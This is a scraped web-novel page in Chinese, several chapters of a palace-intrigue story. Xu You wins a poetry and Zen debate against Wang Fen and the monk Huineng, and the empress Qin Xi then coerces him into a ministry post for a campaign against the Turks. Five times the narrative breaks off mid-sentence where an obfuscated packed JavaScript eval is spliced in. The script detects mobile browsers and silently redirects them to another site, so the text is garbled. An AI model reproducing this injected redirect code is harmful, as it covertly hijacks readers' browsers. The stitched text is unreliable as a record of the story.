偏偏这时候王奋自己作妖,毁了婚事,丢了王家脸面,还让王亮这个家主,不得不跪在天子面前认罪。 秦曦并未怪罪,而是凝眸看向屏风之外。 她似乎看到了一道桀骜身影,哪怕是和世间全部生灵为敌,为了心中所想,也会一往无前。 这条路注定是孤独的,也注定是悲寂的。 一首诗,将秦曦内心全部道出。 她和他,都是一样的人。 “坏家伙。” 轻嗔一声后,秦曦俏脸微微发红,又装作不在意,挥手示意王亮起身。 “无事,不过是一场比试而已,若非王奋,朕岂会知道,这天下还有如此人才。” 娘的! 王亮现在恨不得撒泡尿,把王奋给淹死再说。 好好的宴会,喝喝酒,谈谈风月就罢了,为什么要作死呢? 他也生不出责怪,毕竟从头到尾看在眼底,是王奋自己找事,否则他也不会出来认罪。 屏风这边,结果很快出来,王奋自己出题,结果自己输了。 “王公子,还赌吗?” “不是我说你,我祥说一句,在座的除了**和小公主殿下外,你们全都是垃圾。” “没错,就是垃圾!” 许攸笑眯眯的拍拍身上尘土,轻描淡写继续嘲讽。 “现在赌,只输一半,要是等下你继续比,那可是输的不止一点半点!” 王奋猛地抬起头,双目赤红,那眼神似乎要把许攸给生吞活剥了。 “许攸!你休得猖狂!” “这才是第一场,按照规矩,我输满三首才算输,你可别忘记,我也作了诗!” 话语间,王奋还有点庆幸。 要是没做出诗句,那他第一时间就会被判输,那便没了翻身的可能。 在场不是都傻子,有人意识到了不对劲的地方。 许攸从头到尾,实在太过淡定,淡定的让人害怕,也让人恐惧。 “王兄,要不此次比试到此为止。” 康源走上前,面带凝重劝说。 王奋这时候已经怒火攻心,根本听不见这些。 眼看康源居然阻拦自己,他脸上的表情变得狰狞。 “康源你也要背叛我?” “今日我和他的恩怨,必然要了结,谁也阻止不了!” 王奋嘴角勾着冷笑,他要赌到底,哪怕他不行,还有身后这上百世家贵族公子。 这么多人一起,他不信比不过。 若是真比不过,大不了不要脸,将签筹改了就是,反正这里是他的主场,他说了算! 康源显然是预料到了什么,神色微变。 作为能把许攸给骗到的存在,他可不是表面如此简单。 眼看王奋还要比,康源再次深吸一口气,继续劝说。 “王兄,你若是想比,那我就不继续奉陪,此事事关重大,今日还有李牧李老大人坐镇,一旦输了,后果不堪设想。” “还请王兄三思!” 这话说的情真意切,也让暴露的王奋逐渐冷静。 继续比下去,输了丢人是小,面子丢了才是最大的麻烦。 王家如今在长安是如日中天,连天子都将郡主下嫁给王家,这代表王家未来,绝对是整个长安城乃至大唐的顶流。 可一旦输了,那输的不仅仅是王家脸面,还有皇室的威严。 想到此处的王奋,忍不住打了个寒噤。 “康兄,那我如何是好?” 王奋一时间也是后怕,他居然刚才妄图在李牧面前,篡改签筹,让所有人都投他。 这件事传出去,那他根本不用比,也输的体无完肤。 眼看他生出退缩的心思,清河郡主心中怒意不断翻腾,先前一局,在她看来,不过是许攸运气好而已。 “王公子,此前不过是他运气好,若是继续比下去,谁输谁赢,可说不定。” “此贼嚣张无度,根本不把我等放在眼底,妾身此前还被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“慧能禅诗十三岁便熟读万卷佛经,又耗费十多年时间,游离大唐千山万水,佛法高深莫测,岂是普通人能比拟?” “这不公平,王奋这厮分明是耍赖!” 在场众人都看出来,王奋就是要一举拿下许攸,还是用如此歪门邪道的手段。 许攸有大才,诗气更是惊人,但禅诗比的不是诗气,而是禅意。 以许攸的见识和经历,和佛门大力培养的灵童神僧相比,那是远远不够。 这完全就是茅坑里面打灯笼,没事找事。 王奋脸颊滚烫,但为了赢,他也顾不得其他。 慧能禅诗和王家有旧,此次也是他唯一的依仗,只要能赢,那么一切都可以从头慢慢商量。 就算是被骂,他也无所畏惧! 王奋双手撑在桌案上,身体微微前倾,眼底全是疯狂和狰狞。 屏风后面的王亮,刚爬起来,再次扑通跪下。 “陛下,臣该死!” 其他参加宴会的官员,也都露出了看好戏的神态。 如果比诗词,他们在场都不一定,有信心说能够压倒许攸。 但比禅诗,在场就更没人有信心,去和个成名十多年的灵童神僧对比。 慧能禅师前些日子才抵达长安,此行是为了给天子送迦蓝经而来。 连秦曦都为王奋的行为,而感到皱眉。 “如此行径,未免有些太过下作!” 她并未开口阻止,而是让人将屏风挪开一些,好透过缝隙,看到外面的景象。 此刻王亮心里那叫个怒,要说先前他只是想弄死王奋,现在是想弄死自己。 无论输赢,王家不可能在长安城内,重新获得恩宠,长安城的局势也在和王家无关。 “起来吧。” 秦曦说了一句话,目光落到许攸身上。 她现在很好奇,许攸会如何应对,这是一场必输的赌局。 就在所有人和她一样,都以为许攸会拒绝,却听到一道淡泊的声音。 “就这?” 轻飘飘的两个字,却让场中彻底陷入了沉默。 所有人都仿佛在看傻子,没人能想到,许攸居然会在这个时候,还摆出如此的姿态。 王奋也是愣住,呆呆看向许攸,不过很快他就露出了惊喜的神色。 “你答应了!” “不过是论佛理,作禅诗而已,就这点屁事,值得如此吗?” 许攸丝毫不怕,不说他在地府内存在了多久岁月,就是他前世所学的那些,也比如今的人眼界更高更广。 对方是个灵童,自小就饱读诗书,熟读佛学经典,但那些许攸也知道,所以双方起步就在一个位置,甚至比起经典,许攸脑海内的知识,比慧能禅师更多。 “还请**为我等做个见证!” “这场若是输了,我自愿受罚!” 王奋也光棍,这场输了,他就没机会翻身,倒不如趁着这个机会,彻底将许攸威风给灭绝。 李牧深深看了眼许攸,眼神中充满复杂神色。 “既然你们双方答应,那老夫便厚着脸皮,为你们做个见证。” 说罢,李牧吩咐人,将香案和蒲团摆上。 宴会厅内的气氛,陡然变样。 人群向四周散开,一个个都随意找个地方席地而坐,地上有羊绒毯,并不觉得冷。 在王奋的指引下,慧能禅师一步步来到许攸面前,先朝着李牧和小公主行李,随后这才在许攸面前施施然落座。 看着他年轻的模样,许攸眉头微皱。 眼前慧能禅师,并非是空寂那样的假货,这是个有真材实料的真禅师。 “贫僧慧能,甘露寺禅师,见过施主。” 慧能面带笑容,眼眸内深藏星辰大海,声音更是沉稳,如同洪钟大吕般响彻在大厅内。 比起王奋的狰狞,慧能谦逊有礼,没有半点倨傲,反而主动问好。 伸手不打笑人脸,许攸也笑着点头做了个佛礼。 “鸿胪寺少卿代京兆府府尹,许攸!” “见过大师!” 两人之间没半点争锋的味道,气势也很平静,压根不存在刚才针锋相对情况。 众人也懵了,在他们看来,许攸如此狂妄,应该会和慧能直接理论辩法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065202|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可现在居然拉起了加长。 “贫僧有一事不解,还请许大人解惑。” 许攸点头示意,表情依旧温和。 “大师严重,没有什么解惑不解惑,不过是互相学习。” 对于他的话,空寂并没有反驳,而是淡淡的继续询问。 “那为何许大人要争?” “诗词本是小道,乃是陶冶情操所用,许大人锋芒毕露,又盛气凌人,故意仗着才学欺人。” “此举有违佛之不争。” 说罢,慧能再次打了个佛号,口中默默念诵。 “心地清净方为道,退步原来是向前。” “施主,回头是岸!” 这番话说的很玄妙,归根到底就是不争,退才是进。 面对如此刁难,一般人听到都会迷茫,根本不懂其中的道理。 只有少数几人,听到慧能的话,面色不由凝起。 争和不争,本来就矛盾,就和退与进一样。 若是许攸答不好,那么这场斗诗,也就彻底败了。 “大师此言虽妙,但我也有一惑无法理解。” “上国随缘住,来途若梦行。浮天沧海远,去世法舟轻。水月通禅寂,鱼龙听梵声。” “大师既然佛法高深,那为何不渡?” 许攸一脚把皮球踢了回去。 争和不争,那他就用渡和不渡来反驳。 周围众人脑子嗡嗡作响,两人都是佛学高手,出口都是禅师,禅意深远,但又针锋相对。 李牧原以为许攸会落下风,没想到转眼间,就是一首小诗反驳,还让慧能落入两难。 争和不争,是人的选择。 渡和不渡,那是佛的选择。 如果慧能不选争,那就不是人。 如果他选争,那还得问为何不渡,非人,非佛。 那剩下只有一个可能,就是妖! “妙极!” 李牧暗叹一声,捋着胡须将目光落到慧能禅师上。 许攸都不装了,直接骂慧能是妖,难道慧能能忍下这口气? 可要是不忍,也中了圈套。 慧能的脸色凝重,第一次看向许攸,露出惊愕和复杂的神色。 第一百五十八章 脸皮都不要了 “施主,何为德,为何修行?” 众人都能看出来,现在的慧能禅师出于被动局面。 这话一出,更是让宴会气氛推动到了另外个高度。 “禅师认为什么是得,为何要修行?” 许攸依旧是那淡定的模样,言语内外充满淡然,就似乎输赢和他没有半点关系。 慧能禅师没回话,而是低头打了个佛号,开始默念玄经。 如此景象看的旁人面面相觑。 在场不是所有人都懂佛法,也不是所有人都能听得懂许攸的话。 禅师和论禅,比的不是谁能说服对方,而是谁能立得住脚。 “修行是为争,与天争,与地争,与人争,万事万物为了活,都在争!” “禅师你在争,我也在争,人争一口气,佛争一炷香,不外如是也!” “既是争,那就明本心,立根本,以人为本,这才是正道。” 许攸不知道慧能为什么来长安,但从慧能谦逊态度,能看出来,对方本性并非空寂那种恶徒。 而且慧能背后是真的有功德,和康源那种**子完全不同。 慧能停下念诵玄经的动作,再次抬头看向许攸。 “施主,可信佛?” “不信!” 场中愕然,许攸说的头头是道,比慧能还要玄妙,结果到头来,居然不信佛。 不信佛,那信什么? 许攸的表情很平淡,指着自己心口。 “我信这个。” 没有什么辞藻修饰,也没什么大道理,就是最简单易懂的一番话。 屏风之后的秦曦美眸瞪大,如此简单浅显的道理,从别人口中说出来,和从许攸口中说出,那是完全不同。 一个深信自己本心,追求自己目标的孤独旅人,为了目标不懈努力。 慧能脸上露出了震撼与不敢置信。 “原来如此,是小僧着相了!” 此行慧能前来长安,不仅是为了送经书,还有继承相国寺方丈主持一职。 他不明白,为何自己师傅会答应此事,而如今他明白了。 “施主大才,小僧佩服不已!” “此番小僧奉命而来,欲为相国寺主持,此前心中有困惑,如今施主一番话,胜读十年经。” “若是施主不嫌弃,可否为小僧度化?” 什么? 王奋险些栽倒下去。 他不懂佛,也不懂什么禅诗,但眼下的情况,似乎是他要输了! 短暂的沉默后,场中爆发出巨大轰鸣。 “这位可是慧能禅诗,他居然要别人帮他度化?” “我的天啊!这番辩解太精彩了,争还是不争,一切都蕴含因果大道,难不成这许攸当真无敌?” “精辟,太精辟了!” 如果简单的诗气才气,那还不会引起如此大轰动,但许攸的狂傲和才学,给了他傲然的资本。 如今连佛理,都是碾压慧能。 “施主,可否?” 慧能起身目光清澈,他已然超脱,被许攸点化后,彻底大彻大悟。 他的脸上似乎没有其他表情,心平气和的双手合十,对许攸再次行礼。 “今日小僧得此点化,心中有所顿悟,若是来日有缘,还请施主前往相国寺,小僧必将扫榻相待。” 说完,不等众人反应,慧能禅师高耸一声佛号。 “大师能有所顿悟,那也不枉此行,既然你要我帮你,那不如改个法号?” “可!还请施主赐教。” “空慧。” 空是空寂这辈排行,慧能既然要当相国寺主持,那必然会排在空字辈。 空慧,不但有他如今的法号中的“慧”字,更重要的是有一个警示寓意。 慧能没想到许攸如此大才,脸上更是佩服。 “**,施主博学多才,小僧受教。” “今日所见所闻,小僧会修书告诉师长,等来日,小僧携师长登门道谢,以拜谢施主教化之恩。” 慧能这番话并非是寻仇,而是情深意切的表达感谢。 说完这句话后,他没等王奋开口,打着佛号,口诵南华经,大步朝着外面走去。 和之前他浑身阴翳气势不同,这一次他浑身充满生机和朝气。 那从容的背影,震撼了每个人。 许攸郑重起身,他的眸子盯着慧能背影,也是长长躬身一拜。 慧能值得他如此,对方是个人才,也是个聪明人。 “禅师慢走,改日有空,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065203|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会登门拜访,再与禅师论佛。” 目送慧能消失,许攸收回自己视线,脸上的笑意,几乎化作实质。 比试的人跑了,现在只留下王奋和在场众多世家公子。 “王公子,还比不比了?” “现在我已经胜了两局,你要是觉得不放心,可以再比一场。” “若是不想比,那我可要收钱了。” 众人一愣,随后快速反应过来。 按照先前王奋说的,这场斗诗,最终胜利者,已经出现。 那就是许攸! 所有人的目光,瞬间汇聚,全都聚在王奋的脸上。 王奋脸色煞白,要是简单的输,他还能认,但是现在他却不能认。 李牧出现在这里,就代表着他的父亲王亮,必然也会出现在此地。 一想这件事引发的后果,王奋脸上的惨白更加浓郁。 “谁说我输了!” “这不是才比了两场,今日本公子身体不适,这场比试延迟,你们若是有想要比的,尽管上去就是。” 王奋看得出来,想要赢许攸,这是不可能的事情。 场中众人哗然,谁也没想到,王奋居然露出这嘴脸。这不但是丢了王家的脸,更是把整个贵族豪门的脸给丢光。 “许攸,我和你赌的是斗诗,刚才你和慧能辩的是佛理,这和我赌约不合!” “这场你根本不能算做胜!” “况且慧能禅师,也没亲口承认,你只不过是用歪门邪道,故意诓骗了他而已!” 王奋越说越激动,脖子梗着,脸颊赤红一片。 就在这时,一道清脆的声音,自许攸身后传来。 “王公子你与许府尹斗诗,在场都是亲耳所闻,也是亲眼所见。” “慧能禅师输的心服口服,现在你说没有这回事,难道当我等都是眼瞎耳聋之人?” 安阳公主! 场中哗然! 王奋的脸色瞬间煞白,他没想到在这个时候,安阳公主会亲自出面,为许攸说话。 许攸瞥了眼小公主,见到对方得意的笑容,嘴角微微扬起,冲着她竖起大拇指。 有了公主的金口,王奋不想承认也得承认,最终只能看着许攸将所有钱拿走。 第一百五十九章 西征突厥开始 宴会气氛并没有因为斗诗,而变得紧张不合,反而因为许攸的存在,让这场相亲宴会,更加的热闹。 “许大人,我想求一幅字,不知道可否?” 有人发现许攸很爱才,干脆拿着一千两直接来到许攸面前。 许攸是来者不拒,不但送字,偶尔还送两句小诗。 屏风后面的秦曦见到这一切,俏脸微微发红,既感觉欣喜,又有些得意。 宴会一直到子时,这才散去,许攸足足赚了二十万两。 结束时,他依旧坐着安阳公主的马车。 “殿下为何这么看我?” 许攸嘴角勾着笑,手里动作倒是不慢,抬手将一沓银票塞进小公主手里。 “你在宫里也要吃穿用度,这些钱就当捡的。” 小公主眯起眼,嘴角上扬,露出甜甜的笑容。 “许攸,你真的会和姐姐成亲吗?” 这话一出,许攸脸上笑容顿时僵住。 他一把拉过小公主,在她包子脸上揉了两下。 “胡说什么?” “陛下是天子,我只是个凡人,我们之间道不同,也不可能在一起!” “日后这些话,可不能在别人面前胡说。” 在小公主面前,许攸向来不遮掩。 “再者我可是要做大事的人,没兴趣和你姐搞对象。” 噗嗤! 小公主捂着嘴偷笑,她能察觉,今日宴会上,自己姐姐也在,否则舅舅不会亲自出面,主持斗诗这种小事。 两人笑闹着来到许攸府邸。 刚到府邸,许攸眼神凝住,悄然把倒在怀里小憩的小公主放到软塌上,随后皮笑肉不笑的走出马车。 “王公公,不知道今日有什么事?” 每次见到王迸时候,许攸都觉得这货不应该姓王,应该改姓柯。 王迸皮笑肉不笑,阴恻恻的站在马车旁边。 “许大人今日可是出尽了风头。” “王公公你有话直说,别整的这出,和阎王索命似的。” 许攸被这话说的鸡皮疙瘩都冒了出来。 见状,王公公也懒得继续装下去,干脆直接道明来意。 “陛下有旨,命许府尹明日参加早朝。” “什么?我去参加早朝?” 许攸差点没跳起来。 早朝去的可是五品以上,基本上都是三品四品,各部门***,他虽然挂了个鸿胪寺少卿,但还是个小官而已。 难不成是今天自己和小公主出去,被秦曦那娘们误会了? 许攸下意识看了眼马车,又觉得不可能。 他虽然禽兽了点,也畜生了点,但还没不要脸到对小丫头动手。 “王公公,你是不是传错旨意,或者走错门了?” “我这里是许府,我这一个下四品的鸿胪寺少卿,外加京兆府府尹,去早朝站什么地方?” “难不成让我站宫门外面?” 王公公脸上笑容不减,依旧是那笑眯眯的模样,倒是这次没了阴森感觉。 “咱家可做不了主,这是陛下的旨意。” “还请明早,许府尹早些时间,莫要耽搁了早朝。” 许攸脸上的表情,那叫个精彩。 好日子还没过上几天,结果那疯婆娘又看他不爽,打算找他麻烦了。 死又不让死,爽也不让爽,早晚有天他得去宫里,给那疯婆娘下两包药。 “陛下没其他的旨意吗?” “没有,明日早间许府尹就知道了。” 得! 许攸翻了个白眼,从怀里掏出一沓银票塞过去。 “王家公子今天刚送的,王公公你也姓王,说不定是你们本家。” 王公公拿着银票的手一抖,表情有些不自在。 这倒是把许攸给看懵了。 “你别说,你和王奋真有关系。” “那是小侄。” 许攸无语看天,合着王家不仅是在朝堂上有能量,连朝堂外的力量也不小。 王公公此次来,不但是传旨,还是护送小公主回宫。 这倒是省了许攸不少麻烦。 一夜无话,第二天一大早,许攸打着哈切,来到了议政殿外。 见他突然出现在议政殿门外,不少人都露出了惊讶,以及疑惑的目光。 王亮也在人群中,瞥了眼许攸后,眼底阴霾和怨毒一闪而逝。 今日要讨论的话题,可不简单! 如今天子把许攸招到议政殿,必然是为了其他事情。 随着王公公尖锐嗓音,朝会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065204|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正式开始。 许攸很久没起这么早,躲在人群最后,哈切不断。 龙椅上的秦曦,先按照管理,询问了一下各个省部门的事情,随后这才开始提出今日的话题。 “诸位,此前朕已经说过,西征突厥事不宜迟。” “如今已经冬至,过了冬至就是年,过完年后若是我们不动手,突厥必然会再次膨胀。” “留给我等时日不多,尔等可有具体打算?” 朝堂上寂静无声,就连打瞌睡的许攸,都猛地一惊,不敢置信的看向秦曦。 现在西征突厥,可不是最好的实际,按照大唐现在发展,至少得一年的时间。 “蒙武何在?” 秦曦手里拿着一捧折子,显然是早就有准备。 许久未见的蒙武,此刻身形佝偻不少。 “臣在。” 伴随他的出现,武将群体发生骚动。 “朕命你为平西大将军,负责统筹三军所需粮草,等开春后,统领三军,自河东出兵,经天山,深入突厥腹地!” 蒙武没有废话,躬身重重叩拜。 “臣领命!” 下完这道命令,秦曦再次将目光,看向个年轻将军。 “方琦,朕命你为平西都统,自定康出发,率领轻骑五千,步卒三千,横渡南水,自北部奇袭突厥,形成夹击趋势!” “遵旨,臣定不辱命!” 方琦身形干瘦,走出队列也躬身跪下。 “史可法,朕命令你平西都统,自南浔出发,越白崖山,自南部奇袭,助蒙武将军夹击突厥。” “臣遵旨。” 接下来又是数道任命,几乎朝堂上武将,有一半被点名。 然而文官中,却只有户部和吏部尚书被点名,其余人都没被点到。 此次西征必然是大事,成则会名扬千古,败则是大唐根基不稳,有可能从此一蹶不振,再也没了崛起可能。 “朕命你们自开春后,开始准备粮草辎重,为出征做准备!” “臣等,遵旨!” 山呼海啸般的声音,在大殿内响起。 就在众人以为这件事已经定下,秦曦突然一挥手,目光灼灼的看向角落许攸。 “许攸,上前听封!” 第一百六十章 你敢不敢赌 许攸脸现在有苦瓜长,在听到秦曦的声音后,他就意识到,自己要倒霉了。 “臣,拜见陛下,陛下万年,万万年。” 挡在许攸面前的官员,一个个嘴角抽动,急忙拉开身形。 人群中,许攸就和一朵狗尾巴草,格外显眼。 秦曦嘴角勾着玩味笑容,这件事她思考许久,直到昨日,才下定决心。 “许攸,从今日起,你就是工部左侍郎,统管将作监及军器监!” “至于京兆府府尹以及鸿胪寺少卿,暂时由他人代为负责,你可有异议?” 这话一出,满朝文武都露出了震撼的色彩。 从许攸到长安城,到现在满打满算,也不到三个月的时间。 青尧县的县令,至多是七品,入长安后,直接飞升到了五品,成为了京兆府府尹。 京兆府府尹还没坐稳三月,又破格提升为鸿胪寺少卿。 众人都以为许攸仕途,大概会到鸿胪寺中止,谁也没想到,今日朝会最大的雷,居然是这个。 “陛下,臣力小位卑,恐怕难以胜任。” 让人更加没想到的是,许攸居然躬身一拜,直接开口拒绝。 百官脑子嗡嗡作响,要是他们能三月内飞四品,跨越阶级,哪怕是睡觉都会笑醒。 一旦进了六部,那就等于功名利禄在不断招手,而且许攸刚进六部,就担任工部左侍郎。 六部只有尚书和左右侍郎,三者中尚书负责大小事务,左侍郎负责统筹调度,右侍郎负责处理后勤杂事。 三者相辅相成,但要说权利,左侍郎的权利,比尚书略小,是绝对凌驾在右侍郎至上。 未来成就尚书,也是伸手可得。 如此美差,许攸居然拒绝了! “臣才疏学浅,只懂经营民生,不懂军械营造等事务,此事事关陛下西征,关乎大唐国运。” “臣不敢以此为儿戏,还请陛下另择贤能,恕臣无能。” 整个大殿内陷入死寂,文武百官目瞪口呆,呆呆看向许攸。 他们怀疑自己听错了,亦或者是他们出现了幻觉。 许攸居然拒绝了天子的任命,还是堂而皇之,在议政殿内。 王亮一直以为自己很懂许攸,直到现在这一刻,他的双腿,忍不住打了哆嗦。 “疯子!” 眼前的许攸就是个疯狗,遇到不爽的事情直接咬,遇到不顺的事情,也从不手软。 “难怪他敢动卢氏,这就是个疯子!” 王亮已经决定,等回去之后,就打断王奋的狗腿,然后亲自上门赔罪。 得罪许攸不要紧,可得罪个疯狗,那才是最恐怖的事情。 蒙武也皱起眉,他不明白许攸这么做是为了什么。 为了名,还是为了利? 这段时间,蒙武深居简出,除了偶尔见见几位王爷外,便没有出过门。 但他也听到了不少,有关许攸的事情。 “卢氏,相国寺,建安郡主!” 无论哪一个,都能说明许攸是个疯子,不折不扣的疯子! 整个朝堂上,只有两人没感到意外。 李牧老神在在的捋着胡须,似乎要是许攸不蹦跶两句惊天的话,就仿佛不是他一样。 至于秦曦,俏脸上的得意瞬间消散,转而扁你的阴沉。 一股无形的帝王威势,从她身上散发。 她很不明白,为什么许攸真的会拒绝。 难道西征,不是许攸的梦想? 她可是在为了许攸的梦而冒险! 四目相对,许攸的眼眸内,看不到任何的惧怕,这让秦曦内心的愤怒,在不断滋生。 她又被耍了! 什么狗屁的孤行者,什么狗屁的为了天下苍生,这就是个不折不扣的骗子! “许攸,你可知道,朕为何要突然西征?” 许攸眯起眼,心中思绪翻飞。 他当然知道为什么,但这话他可不敢说。 “不知道。” 秦曦眼底的杀意一闪而逝,能成为帝王,她自小就不凡,许攸的小算盘,在她眼底,就是如此的丑陋。 “你知道!” “突厥东征草原诸部,西取楼兰等地,又屡次犯我大唐姜瑜,此次西征乃扬我大唐国威。” “为了这一战,朕下令调集四方大军,总计三十万兵马!” 秦曦声音不断在大殿内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065205|191962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回荡,声浪中充斥着嗜血的气息。 “如今三十万兵马齐聚,只等东风抵达!” 说到这里,秦曦猛地从龙椅上站起。 “这个大唐,是朕的天下,也是百姓的天下!” “三十万人若是不能西征,朕亦可以下令,让他们东行!” “你当真敢赌吗?” 轰隆! 一道惊雷狠狠劈在许攸的身上。 “卢氏屠戮三千,你昼夜难免,为查清**,茶饭不思,每日不是在寻找线索,就是在查阅卷宗。” “朕问你,你当真敢赌吗?” 许攸嘴角疯狂抽动,眼底也冒出了深深的寒意。 眼前的秦曦,是个疯子,和他一样,都是个不折不扣的疯子。 东边是什么地方,那自然是青尧县。 三十万人,或许不能奈何青尧县,但如果这三十万人因他许攸而死,那业力将会滔天。 只怕他再活五十年,拯救上千万人,也无法平这笔债。 他一直以为,秦曦最多也就威胁威胁,或者发兵攻打,但不是真的打。 直到现在他才发现,秦曦手里还有一张王牌。 殉葬! 如果以三十万将士的血来殉葬,最后随便扣个帽子,他这辈子就完了。 许攸瞬间想清楚,他是想死,但前提是死得其所,得死的明明白白,而不是被坑死。 没了功德,他死也没用,只能回去见阎王。 此前是他没想到,秦曦会有这么一手,如今突然遇到,也是让他真的感觉到意外。 “不亏是从尸山血海中爬出来的,当年那个小姑娘,如今已经变了。” “早知道如此,当年就不应该帮你,失算!” 念此,他忍不住摇头苦笑,当年一念生,让他种下了恶果。 “陛下,臣……领旨!” “臣必然会为陛下,打造一支精锐,以保大唐万世基业。” 呼呼! 秦曦瘫坐下去,说出这番话,她也是承受了莫大压力。 但如今她赌成功了,而且也抓到了许攸的把柄。 看着许攸脸上的无奈,秦曦和偷鸡的狐狸,露出得意笑容。 第一百六十一章 吃醋的许大人 伴随王公公尖锐嗓音,许攸无奈从议政殿走出。 周围百官看他的眼神,充满戏谑。 今日许攸是让他们开了眼界,也让他们知道,以后大唐的朝堂,绝对不会死寂。 许攸神色无奈,明知道是秦曦的计策,但不得不听命行事,他确实不敢赌,如果这份因果算在他头上,那可是三十万人命。 就在他准备离开议政殿,回去找阎王好好掰扯下,耳畔响起一道熟悉的声音。 “许侍郎请留步。” 许攸那叫个气,昨晚钱是白给了,王迸这货怪不得没鸟用。 “王公公,您可是陛下身边的贵人,和我这么客气做什么?” “该不会是陛下觉得你没鸟用,故意安排你出来,在这里把门吧?” 王公公脚步一顿,转头又哭笑不得。 “许侍郎,此事可不是咱家能做主,陛下有令,让你在这里等候。” 许攸更是不耐烦,他都答应了秦曦的要求,还留他在这里干什么? 就在他准备回绝,却看到不远处,秦曦居然带着个男人,正大步朝着他走来。 本来没什么想法的他,瞬间神色阴沉,目光也随着来人不停变化。 那人差不多十**岁,唇红齿白,眉清目秀,身着一身青色锦袍,面容上时刻挂着微笑,腰间悬挂一枚白色玉佩。 此人一直跟在秦曦身后,一步不离,却稍稍往后几步,故意落在她的身后。 “随朕来!” 秦曦落下这话,似乎什么都没见到,带着青年消失不见。 不多时,许攸跟着来到一座宫殿内,而秦曦脸上没有半点怒意,那表情好似之前什么都没发生。 “自己找个地方坐。” 许攸心里纳闷,也不知道这女人到底在搞什么心思,便将视线落到秦曦身边的青年身上。 见到他一脸疑惑的模样,秦曦也不买关子,直截了当的介绍。 “这是朕的弟弟,秦琦。” 看到秦琦的时候,许攸已经有了点猜测,但是内心没深想,现在听到秦曦介绍,他的眉头紧紧皱起。 秦曦的弟弟,那就是王爷,未来很有可能继承大唐的存在。 “臣,拜见……” 话说到这里,许攸忽然发现,他丫根本不认识眼前的人。 不说其他的,单单说称号,他都不知道秦琪是什么。 刚刚秦曦也没介绍封号,更没说官职这些,只有一句话,“朕的弟弟”! 许攸脸色有点不好看,话语一转,淡淡的补充。 “拜见秦公子。” 秦琪嘴角勾起玩味笑容,眼神斜瞥,目光落在许攸身上,并未直接伸手去扶,而是骄傲的仰起头。 “久闻许大**名,今日一见,果然如此!” “皇姐多次曾在我面前提起你,曾言你乃是国之栋梁,有匡扶社稷之能,又有百般神通,当真是让人看不透。” “本王佩服!” 这番话说的轻巧,但话语中却夹杂一阵阴阳怪气。 许攸暗暗无语,也不知道秦曦到底卖什么关子,非得让他来见这位不知道封号的网页。 “多谢王爷谬赞。” 打蛇随棍上,许攸干脆拱拱手,也没什么表情。 这时,秦曦缓缓开口。 “王迸吩咐人,今日就在正德殿用膳,给许爱卿也留个位置。” 许攸想拒绝,但看到旁边的秦琦,又把话语给咽了回去。 很快几盘菜被端上来,都是清一色的蔬菜,绿的许攸脸皮都不停抽搐。 他现在很像拉着秦曦的手,来一句。 “别闹,等我**你再胡搞。” 许攸看着盘子中的菜,越看脸色越黑,尤其是那绿油油的颜色,让他很怀疑,自己头顶是不是一样。 “吃菜,为何不吃菜,就吃白饭?” 秦曦似乎忘记了之前的不愉快,主动夹了一筷子青菜,笑眯眯送到许攸碗里。 什么君臣之嫌,什么主仆只隔,在桌上都看不到,只看到个绝世美女,正笑吟吟的夹着一筷子青菜,主动送到许攸碗里。 若是放在平时,许攸肯定会嘀咕两句,但今天他没话说,甚至心里拔凉拔凉的。 “这个疯婆娘,真的是三天不打上房揭瓦,爷还没死,就背着爷找男人了!” 他可不信秦曦鬼话。 秦曦似乎是故意 